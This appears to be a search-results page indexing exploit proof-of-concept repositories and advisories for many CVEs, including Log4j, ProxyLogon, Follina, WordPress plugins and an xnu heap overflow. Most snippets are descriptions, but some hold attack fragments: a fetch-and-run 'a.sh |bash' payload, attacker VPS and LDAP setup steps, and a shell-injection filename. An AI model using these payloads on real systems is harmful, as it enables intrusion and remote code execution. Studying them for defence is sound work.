626477 matches found
CVE-2025-33073
CVE-2025-33073 反射中继概念验证（PoC） 针对拥有 DNSAdmins 权限并启用 WinRM 的 Windows 域控制器的通用利用工具。 📋 概述 CVE-2025-33073 是一个关键漏洞，攻击者可通过以下组合在 Windows 域控制器上实现 SYSTEM 级代码执行 ： DNS 记录操纵（DNSAdmins 权限） NTLM 中继攻击 WinRM 认证绕过 此 PoC 提供了一个通用、自动化 的利用框架，兼容任何域、任何用户名以及任何 CTF 环境。 ✨ 功能特性 ✅ 通用兼容性 - 适用于任何 Windows 域 ✅ 自动检测 - 自动识别目标 DC...
CVE-2023-6553
CVE-2023-6553 针对WordPress Backup插件中CVE-2023-6553的漏洞利用开发 这是一个严重级别的CVE，CVSS评分为9.8 该漏洞允许攻击者向运行受影响版本插件的服务器发送命令 受影响版本 Backup :9000/a.sh |bash';?" 3. 你会收到以下错误 HTTP Response Body: 400 Bad Request Bad Request Your browser sent a request that this server could not understand. Size of a request header fiel...
CVE-2023-47464
GL-AX1800 路由器安全评估报告 概述 本报告概述了对 GL.iNet 生产的 GL-AX1800 路由器进行的一次全面安全评估结果。评估旨在识别设备安全措施中的潜在漏洞和弱点。在评估过程中，发现了若干严重安全问题，包括跨站请求伪造 CSRF、不安全的文件上传、路径遍历、文件覆盖导致远程代码执行 RCE 以及无限制的文件访问下载。 漏洞 跨站请求伪造 CSRF GL-AX1800 路由器容易受到 CSRF 攻击，攻击者可利用此漏洞在已认证用户不知情的情况下执行未授权操作。通过精心构造恶意请求并诱骗用户访问特制网页，攻击者可以操控路由器设置，进而可能导致对设备的未授权访问或控制。...
ProxyLogon
ProxyLogon ProxyLogon 是 CVE-2021-26855 的正式通用名称，这是一个 Microsoft Exchange Server 上的漏洞，允许攻击者绕过身份验证并冒充管理员。我们还将该漏洞与另一个认证后的任意文件写入漏洞 CVE-2021-27065 结合，以实现代码执行。（来源：proxylogon.com） 免责声明 本 GitHub 仓库提供的信息仅供教育目的。本 GitHub 上的所有信息均以善意提供，但我不对任何信息的准确性、充分性、有效性、可靠性、可用性或完整性作出任何明示或暗示的陈述或保证。 开始使用 要求 此脚本需要 Python3 和...
CVE-2026-20253
CVE-2026-20253 - Splunk Enterprise ⚡ 简单用法 仅在安全且经过授权的环境中使用此项目，例如： 本地虚拟机 Docker容器 隔离实验室环境 经授权的渗透测试环境 示例设置： git clone https://github.com/HORKimhab/CVE-2026-20253 cd CVE-2026-20253 Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS ...
CVE-2026-107639
The ILIAS learning management system versions before 9.24 , 10.x before 10.12 , and 11.x before 11.5 are vulnerable to an argument injection vulnerability in the assImagemapQuestionGUI component. The root cause is that escapeshellcmd() fails to neutralize tab-separated options embedded within upl...
CVE-2026-107639 ILIAS before 9.24, 10.12, and 11.5 Argument Injection via Image Map Question Upload Filename
ILIAS before 9.24, 10.x before 10.12 and 11.x before 11.5 contains an argument injection vulnerability in assImagemapQuestionGUI that allows question authors to inject ImageMagick convert options via uploaded image filenames. Attackers can embed tab-separated options, which escapeshellcmd does no...
EUVD-2026-95026
ILIAS before 9.24, 10.x before 10.12 and 11.x before 11.5 contains an argument injection vulnerability in assImagemapQuestionGUI that allows question authors to inject ImageMagick convert options via uploaded image filenames. Attackers can embed tab-separated options, which escapeshellcmd does no...
CVE-2020-23934
CVE-2020-23934 参考资料 1 https://www.exploit-db.com/exploits/48636 2 https://github.com/vj0shii/PRTG-Network-MonitorCMS-Authenticated-Remote-Code-Execution/blob/master/PRTGCMS.py 3 https://stackoverflow.com/questions/12385179/how-to-send-a-multipart-form-data-with-requests-in-python 4...
CVE-2022-30190_EXP_PowerPoint
CVE-2022-30190EXPPowerPoint 这是 CVE-2022-30190 在 PowerPoint 上的漏洞利用程序。 将文件后缀修改为 'zip' 并解压文件，你可以编辑 \ppt\slides\rels\slide1.xml.rels，将其替换为你的 vps ip:port，如下所示，然后以同样的方式压缩并将后缀改为 'ppsx'。'exploit.html' 中的默认 payload 是执行 calc。 参考: https://github.com/chvancooten/follina.py...
CVE-2021-44228-Log4j-PoC-RCE
Apache Log4j CVE-2021-44228 GK7 PoC 步骤 1. 编译 Log4jRCE.java 并将 .class 文件移动到 Web 服务器（例如：本地 PHP） 1. cd src/main/java 2. javac Log4jRCE.java 3. 将 .class 文件移动到 Web 服务器或本地启动一个 PHP，例如：php -S 127.0.0.1:8888 2. 启动 LDAP 服务器 1. git clone [email protected]:Grupo-Kapa-7/marshalsec.git 2. cd marshalsec 3...
CVE-2025-55182-React2Shell-Lab
CyberSec Blog CTF - React2Shell PoC 该仓库提供了一个基于使用Next.js和React Server Components的网络安全博客的易受攻击的CTF（夺旗赛）环境。 CVE-2025-55182 : 在React Server Components 19.0.0、19.1.0、19.1.1和19.2.0版本中的预认证远程代码执行（RCE）漏洞。易受攻击的代码不安全地反序列化HTTP请求到Server Function端点的payload。 CVE-2025-66478 : 影响使用App Router的Next.js应用程序。 CTF 描述...
CVE-2025-55349
CVE-2025-55349 — pm2 通过 postinstall 的任意代码执行 发现者 : Golden Ticket Labs 供应商 : Unitech pm2 分配日期 : 2025年8月20日 MITRE 描述 Unitech PM2 v5.4.2 中 lib/API/Modules/NPM.js 组件的一个问题允许通过安装带有精心构造的 postinstall 脚本的包来执行任意代码。 PM2 在从基于 Git 或本地文件安装中调用时，会自动运行 postinstall 生命周期脚本，而无需沙箱或用户确认，包括通过以下方式调用时：...
CVE-2024-53900
CTF Challenge - Mongoose RCE CVE-2024-53900 Challenge Overview 这个 Capture The Flag CTF 挑战基于 CVE-2024-53900，该漏洞存在于 Mongoose 中，由于在 MongoDB 查询中不当使用 $where 运算符，导致远程代码执行（RCE）。 你的目标是利用该漏洞，并获取隐藏在应用程序中的 flag！ Setup Instructions 1 安装依赖 确保已安装 Node.js，然后运行： npm install 2 配置 MongoDB 安装 MongoDB 并确保其正在运行。...
OHTS
OHTS CVE-2017-8759 | .NET Framework 远程代码执行漏洞 1. 简介 当 Microsoft .NET Framework 处理不受信任的输入时，存在一个远程代码执行漏洞。成功利用此漏洞的攻击者可以控制受影响的系统。攻击者随后可以安装程序；查看、更改或删除数据；或创建具有完全用户权限的新帐户。与拥有管理权限的用户相比，系统上配置为拥有较少用户权限的用户所受影响可能较小。 要利用此漏洞，攻击者首先需要说服用户打开恶意文档或应用程序。该安全更新通过修正 .NET 验证不受信任输入的方式来解决此漏洞。Microsoft .NET Framework...
CVE-2021-21110
CVE-2021-21110 CVE-2021-21110 : Tiki Wiki CMS GroupWare 服务端模板注入远程代码执行漏洞利用...
CVE-2025-60787-Detection-motionEye-RCE-via-Config-Injection
README.md CVE-2025-60787 检测：motionEye 配置注入导致的远程代码执行 motionEye 静态图像 - 图像文件名 PoC 载荷示例： $touch /tmp/test.%Y-%m-%d-%H-%M-%S 当 motion 重启时，Shell 命令将执行并创建 /tmp/test。 检测覆盖范围 ID| 检测名称| 描述 ---|---|--- 01| Web 请求检测| 识别 JavaScript 绕过尝试和 Shell 载荷 02| 进程执行| 检测 motion 生成 Shell 进程 03| 文件创建| 检测 /tmp 中的可疑文件 04|...
exploit-CVE-2015-8351
Gwolle Guestbook WordPress 插件 RFI 漏洞利用 此 Python 脚本利用了 Gwolle Guestbook WordPress 插件中的一个严重远程文件包含（RFI）漏洞，未经身份验证的攻击者可以利用该漏洞包含远程 PHP 文件并在易受攻击的系统上执行任意代码。 漏洞详情 HTTP GET 参数 "abspath" 在被用于 PHP require 函数之前未经过正确的清理。远程攻击者可以从任意远程服务器包含名为 'wp-load.php' 的文件，并在易受攻击的 Web 服务器上执行其内容。为此，攻击者需要将一个恶意的 'wp-load.php'...
vpwn
vpwn 由 qwertyoruiop 编写 通用 xnu 堆溢出利用。 演示输出: $ ./pwn i Preparing payload... i broke out of kaslr, kaslrslide = 0000000001a00000 + Payload successfully crafted. i Manipulating the heap... i Exploit loaded. + got r00t sh-3.2 uname -a Darwin qwertyoruiops-iMac.local 14.3.0 Darwin Kernel Version 14.3.0...